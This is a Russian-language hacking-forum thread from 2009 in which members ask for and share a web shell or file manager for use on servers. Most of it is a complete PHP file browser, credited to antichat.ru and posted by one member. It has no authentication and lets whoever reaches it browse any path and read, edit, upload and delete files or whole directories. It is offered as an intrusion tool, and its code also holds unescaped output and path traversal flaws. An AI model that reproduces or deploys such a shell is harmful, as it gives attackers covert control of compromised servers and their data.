шелл или файловый менеджер на coldfusion.

Discussion in 'PHP' started by попугай, 22 Apr 2009.

  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Знает кто-нибудь ? Чтоб была возможность правки и просмотра файлов.
     
  2. Stanislaw

    Stanislaw New Member

    Joined:
    6 Mar 2009
    Messages:
    8
    Likes Received:
    3
    Reputations:
    0
    попробуй этот:
    cfexec.cfm
    Код:

     
  3. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    да этот у меня есть... но нужен полноценный файл-менеджер, чтоб возможность правки файлов была..
     
  4. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    Воть))
    <?php
    /////////////////////////////////////////////////////////////////
    /////////////////////////php file browser/////////////////////////
    ///////////////coded by mamamot spec. for antichat.ru ///////////////
    //////////////////////////////2007//////////////////////////////

    //проверяем содержимое массива POST
    if(isset($_POST['do']))
    {
    //записываем в файл после редактирования
    if($_POST['do']=="edit")
    {
    $fd=fopen($_POST['filename'], w);
    if(!$fd) exit("Ошибка!");
    fwrite($fd, $_POST['content']);
    fclose($fd);
    echo "Редактирование успешно завершено!";
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
    }
    //загружаем файл на сервер
    elseif($_POST['do']=="upload")
    {
    if(copy($_FILES['filename']['tmp_name'], $_POST['p']."/".$_FILES['filename']['name']))
    {
    echo("Файл успешно загружен: <br />");
    echo($_FILES['filename']['name']);
    echo '<br />';
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
    }
    else
    {
    echo("Ошибка!<br />");
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
    }
    }
    exit();
    }
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" >
    <head>
    <title><? echo "php file browser"; if(isset($_GET['p'])) echo " - ".$_GET['p']; ?></title>
    <style type="text/css" >
    body
    {
    font-family: Verdana, Arial;
    font-size: 14px;
    background-color: #fcc;
    }
    tr.header
    {
    background-color: #ccf;
    font-family: Verdana, Arial;
    font-size: 14px;
    }
    tr.one
    {
    background-color: #cff;
    font-family: Verdana, Arial;
    font-size: 14px;
    }
    tr.two
    {
    background-color: #fc6;
    font-family: Verdana, Arial;
    font-size: 14px;
    }
    h2
    {
    font-family: Verdana, Arial;
    font-size: 22px;
    color:#000;
    }
    </style>
    </head>
    <body>
    <?php
    //Удаление файла
    function delete_file($dir, $name)
    {
    if(!@unlink($dir."/".$name))
    {
    echo "Доступ запрещен!";
    }
    else
    {
    echo "Удалено успешно!";
    }
    echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
    }

    //рекурсивное удаление папки
    function delete_dir($dir)
    {
    //открываем папку
    $dd=opendir($dir);
    //просматриваем все файлы
    $todo=true;
    while(($file = readdir($dd)))
    {
    //если файл - удаляем
    if(is_file("$dir/$file"))
    {
    if(!unlink("$dir/$file"))
    {
    exit("Ошибка-доступ запрещен!");
    }
    }
    //если папка - вызываем рекурсивно функцию удаления
    elseif(is_dir("$dir/$file") && $file!='.' && $file!='..')
    {
    delete_dir("$dir/$file");
    }


    }
    //закрываем папку
    closedir($dd);
    //удаляем саму уже пустую директорию
    rmdir($dir);
    echo "Успешно удалено!<br />";
    echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
    }

    //вывод формы загрузки файла
    function upload_form()
    {
    echo '<h2>Загрузка файла в '.$_GET['p'].'</h2>
    <form method="post" enctype="multipart/form-data" >
    <input type="file" name="filename" /><br />
    <input type="hidden" name="p" value="';
    if(isset($_GET['p']))
    {
    echo $_GET['p'].'" />';
    }
    else
    {
    echo '." />';
    }
    echo '<input type="hidden" name="do" value="upload" />';
    echo '<input type="submit" value="Загрузить" />';
    echo '</form>';
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
    }

    //вывод информации о файле
    function file_info()
    {
    $query=$_GET['p']."/".$_GET['name'];
    echo "<h2>Информация о файле: $query</h2>";
    echo "Размер: ".filesize($query)."<br />";
    $type=filetype($query);
    echo "Тип: ".$type."<br />";
    echo "Последнее изменение: ".date("d.m.Y G:i:s",filemtime($query))."<br />";
    if($type=="file")
    {
    echo '<a href="'.$query.'" >Скачать/просмотреть</a><br />';
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$query.'" >Удалить файл</a><br />';
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=edit&p='.$_GET['p'].'&name='.$_GET['name'].'" >Редактировать(текстовый режим)</a><br />';
    }
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
    }

    //создание папки
    function makedir($query, $dirname)
    {
    $custom=$query."/".$dirname;
    if(!mkdir($custom,0700))
    {
    echo "Ошибка создания каталога!";
    }
    else
    {
    echo "Успешно создано!";
    }
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >Вернуться</a>';
    }

    //вывод формы редактирования файла
    function edit_file($dir, $name)
    {
    $query=$dir.'/'.$name;
    $fd=fopen($query, "r");
    if($fd)
    {
    $buf=fread($fd, filesize($query));
    fclose($fd);
    echo '<h2>Редактирование файла</h2>';
    echo '<form method="POST" >';
    echo '<textarea cols="100" rows="50" name="content" >'.$buf.'</textarea><br />';
    echo '<input type="hidden" name="do" value="edit" />';
    echo '<input type="hidden" name="p" value="'.$dir.'" />';
    echo '<input type="hidden" name="filename" value="'.$dir.'/'.$name.'" />';
    echo '<input type="submit" name="submit" value="Сохранить" />';
    echo '</form>';
    }
    else
    {
    echo 'Ошибка!';
    }
    echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$dir.'" >Вернуться</a>';
    }

    //проверяем режим вывода
    if(!isset($_GET['do']) || $_GET['do']=="browse")
    {
    //основная функция - главное окно работы с файлами и папками
    if(!isset($_GET['p']))
    {
    $dir = ".";
    echo "<h2>Корневая директория<h2>";
    //получаем список файлов
    $dd=opendir(".");
    while(($file = readdir($dd)) !== false)
    {
    $filelist[]=$file;
    }
    closedir($dd);
    }
    else
    {
    echo "<h2>".$_GET['p']."</h2>";
    $dir=$_GET['p'];
    //получаем список файлов
    $dd = opendir($dir);
    while(($file = readdir($dd)) !== false)
    {
    $filelist[]=$file;
    }
    closedir($dd);
    }
    //выводим данные в виде таблицы
    //выводим заголовок таблицы
    echo "<table>";
    echo '<tr class="header">';
    echo "<td>Имя</td>";
    echo "<td>Размер</td>";
    echo "<td>Тип файла</td>";
    echo "<td>Последнее изменение</td>";
    echo "<td>Удалить</td>";
    echo "</tr>";
    $one=true;
    foreach($filelist as $file)
    {
    $query=$dir."/".$file;
    //получаем тип файла
    $type=filetype($query);
    //задаем стиль строки для облегчения восприятия
    if($one)
    {
    echo '<tr class="one">';
    }
    else
    {
    echo '<tr class="two">';
    }
    $one=!$one;
    if($type=="dir")
    {
    echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >'.$file.'</a></td>';
    }
    else
    {
    echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=fi&p='.$dir.'&name='.$file.'" >'.$file.'</a></td>';
    }
    //выводим размер файла
    echo "<td>".filesize($query)."</td>";
    echo "<td>".$type."</td>";
    echo "<td>".date("d.m.Y G:i:s",filemtime($query))."</td>";
    if($type=="file")
    {
    echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$dir.'&name='.$file.'" >Удалить файл</a></td>';
    }
    elseif($type=="dir")
    {
    echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_d&p='.$query.'" >Удалить папку</a></td>';
    }
    echo "</tr>";
    }
    echo "</table>";
    //после таблицы мы выводим дополнительные инструменты
    //создание папки
    echo '<p>';
    echo 'Создание папки в текущей директории:<br />';
    echo '<form method="GET" >';
    echo '<input type="hidden" name="do" value="mkdir" />';
    echo '<input type="hidden" name="p" value="'.$dir.'" />';
    echo '<input type="text" name="name" value="Имя папки" />';
    echo '<input type="submit" name="submit" value="submit" />';
    echo '</form>';
    echo '<p>';
    //загрузка файла

    echo '<p>';
    echo 'Загрузить файл';
    echo '<form method="POST" enctype="multipart/form-data" >';
    echo '<input type="hidden" name="do" value="upload" />';
    echo '<input type="hidden" name="p" value="'.$dir.'" />';
    echo '<input type="file" name="filename" /><br />';
    echo '<input type="submit" name="submit" value="Загрузить" />';
    echo '</form>';
    }
    //информация о файле
    elseif($_GET['do']=="fi")
    {
    file_info();
    }
    //удаление файла
    elseif($_GET['do']=="delete_f")
    {
    delete_file($_GET['p'],$_GET['name']);
    }
    //удаление папки
    elseif($_GET['do']=="delete_d")
    {
    delete_dir($_GET['p']);
    }
    //редактирование файла
    elseif($_GET['do']=="edit")
    {
    edit_file($_GET['p'],$_GET['name']);
    }
    elseif($_GET['do']=="mkdir")
    {
    makedir($_GET['p'],$_GET['name']);
    }
    ?>
    </body>
    </html>
     
    2 people like this.